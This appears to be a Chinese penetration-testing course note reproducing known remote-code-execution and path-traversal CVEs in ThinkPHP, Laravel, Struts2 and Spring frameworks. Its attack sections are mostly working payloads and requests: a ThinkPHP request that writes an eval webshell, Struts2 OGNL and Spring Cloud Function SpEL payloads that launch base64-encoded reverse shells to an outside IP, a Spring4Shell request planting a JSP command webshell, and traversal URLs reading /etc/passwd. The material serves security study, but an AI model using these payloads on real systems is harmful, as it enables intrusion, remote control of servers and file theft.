当前位置:   article > 正文

Day81:服务攻防-开发框架安全&SpringBoot&Struts2&Laravel&ThinkPHP&CVE复现

Day81:服务攻防-开发框架安全&SpringBoot&Struts2&Laravel&ThinkPHP&CVE复现

目录

PHP-框架安全-Thinkphp&Laravel

Laravel

CVE-2021-3129 RCE

Thinkphp

版本3.X RCE-6.X RCE

版本6.X lang RCE

J2EE-框架安全-SpringBoot&Struts2

Struct2

旧漏洞(CVE-2016-0785等)

struts2 代码执行 (CVE-2020-17530)s2-061

Struts2 代码执行 (CVE-2021-31805)s2-062

SpringBoot

监控配置不当利用

Spring Boot 目录遍历 (CVE-2021-21234)

Spring Cloud Function Spel表达式注入 CVE-2022-22963

Spring Framework远程代码执行漏洞 CVE-2022-22965

Spring boot命令执行 (CVE-2022-22947)


知识点:

1、PHP-框架安全-Thinkphp&Laravel

2、J2EE-框架安全-SpringBoot&Struts2

常见语言开发框架:

  1. PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
  2. JAVA:Spring MyBatis Hibernate Struts2 Springboot等
  3. Python:Django Flask Bottle Turbobars Tornado Web2py等
  4. Javascript:Vue.js Node.js Bootstrap JQuery Angular等

PHP-框架安全-Thinkphp&Laravel

Laravel

是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。

CVE-2021-3129 RCE

影响版本:Laravel <= 8.4.2

利用工具:https://github.com/zhzyker/CVE-2021-3129

https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

Thinkphp

版本3.X RCE-6.X RCE

ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架

综合工具:武器库-Thinkphp专检(3-6版本)

版本6.X lang RCE

payload:

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['x']);?>+/var/www/html/x.php

J2EE-框架安全-SpringBoot&Struts2

Struct2

Apache Struts2框架是一个使用JavaEE网络应用程序的Web框架。可能存在OGNL表达注入扩展,从而造成远程代码执行,风险极大。

旧漏洞(CVE-2016-0785等)

老的漏洞工具直接梭哈就行

struts2 代码执行 (CVE-2020-17530)s2-061

影响版本:Apache Struts 2.0.0 - 2.5.25

工具虽然说没提供此漏洞的利用功能,但是实际上还是能执行RCE

https://github.com/YanMu2020/s2-062

(该脚本支持S2-062 (CVE-2021-31805) / S2-061 / S2-059 RCE)

python .\s2-062.py --url http://47.98.193.176:18588/ --cmd id

Struts2 代码执行 (CVE-2021-31805)s2-062

影响版本:Apache Struts 2.0.0 - 2.5.29

  1. post /s2_062/index.action
  2. name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
  3. (%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
  4. (%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
  5. (%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
  6. (%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
  7. (%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
  8. (%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
  9. (%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
  10. (%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%35%4e%43%34%79%4d%7a%59%75%4d%54%45%33%4c%7a%55%30%4e%54%51%67%4d%44%34%6d%4d%51%3d%3d}|{base64,-d}|{bash,-i}'}))

SpringBoot

监控配置不当利用

见前面Actuator-heapdump利用讲解

参考地址:https://blog.csdn.net/m0_60571842/article/details/135096224

Spring Boot 目录遍历 (CVE-2021-21234)

Spring-boot-actuator-logview 0.2.13之前版本存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。

复现参考:https://blog.csdn.net/weixin_43165012/article/details/121152482

payload

  1. windows
  2. http://127.0.0.1:8887/manage/log/view?filename=/windows/win.ini&base=../../../../../../../

  1. linux
  2. http://47.98.193.176:8908/manage/log/view?filename=etc/passwd&base=../../../../../../

Spring Cloud Function Spel表达式注入 CVE-2022-22963

Spring Cloud Function提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的 FaaS(函数即服务,function as a service)平台。

影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

复现参考:https://developer.aliyun.com/article/1160011

payload

  1. POST:/functionRouter
  2. spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
  3. 123

Spring Framework远程代码执行漏洞 CVE-2022-22965

Spring Framework是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为J2EE应用程序开发提供了一个好用的框架。

影响版本:

  1. Spring Framework < 5.3.18
  2. Spring Framework < 5.2.20
  3. Spring Framework 的衍生框架构建的网站或应用

复现参考:https://www.csdn.net/article/2022-11-24/128026635

1、写后门tomcatwar.jsp

  1. GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
  2. Host: localhost:8080
  3. Accept-Encoding: gzip, deflate
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
  7. Connection: close
  8. suffix: %>//
  9. c1: Runtime
  10. c2: <%
  11. DNT: 1

2、访问jsp触发后门
http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=id

3、工具项目
https://github.com/BobTheShoplifter/Spring4Shell-PoC

python poc.py --url=http://192.168.44.131/

http://192.168.44.131/tomcatwar.jsp?pwd=j&cmd=whoami

如何让脚本走bp呢?

Spring boot命令执行 (CVE-2022-22947)

影响版本:

  1. Spring Cloud Gateway是Spring中的一个API网关。
  2. Spring Cloud Gateway 3.1.x < 3.1.1
  3. Spring Cloud Gateway 3.0.x < 3.0.7
  4. 其他旧的、不受支持的Spring Cloud Gateway 版本

手工复现参考:https://cloud.tencent.com/developer/article/2164533

1、首先,添加一个执行系统命令 id 的恶意 SpEL 表达式的 test 路由,发送如下数据包:

  1. POST /actuator/gateway/routes/test HTTP/1.1
  2. Host: www.luckysec.cn:8080
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Content-Type: application/json
  9. Content-Length: 329
  10. {
  11. "id": "hacktest",
  12. "filters": [{
  13. "name": "AddResponseHeader",
  14. "args": {
  15. "name": "Result",
  16. "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
  17. }
  18. }],
  19. "uri": "http://example.com"
  20. }

2、然后,应用刚添加的路由,将触发 SpEL 表达式的执行,发送如下数据包:

  1. POST /actuator/gateway/refresh HTTP/1.1
  2. Host: www.luckysec.cn:8080
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Content-Type: application/x-www-form-urlencoded
  9. Content-Length: 0

4、最后,删除所添加的 test 路由,发送如下数据包:

  1. DELETE /actuator/gateway/routes/test HTTP/1.1
  2. Host: www.luckysec.cn:8080
  3. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Content-Length: 0

可利用 SpringBootExploit 工具,输入目标地址进行检测环境,使用 SpringCloudGateway 利用链获取目标服务器权限

漏洞利用成功后,根据提示内容访问 webshell 地址,执行系统命令验证即可。

综合CVE利用工具

1、https://github.com/0x727/SpringBootExploit

2、https://github.com/13exp/SpringBoot-Scan-GUI

3、更多工具利用请参考:https://blog.csdn.net/m0_60571842/article/details/134133830

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/382759
推荐阅读
相关标签
  

闽ICP备14008679号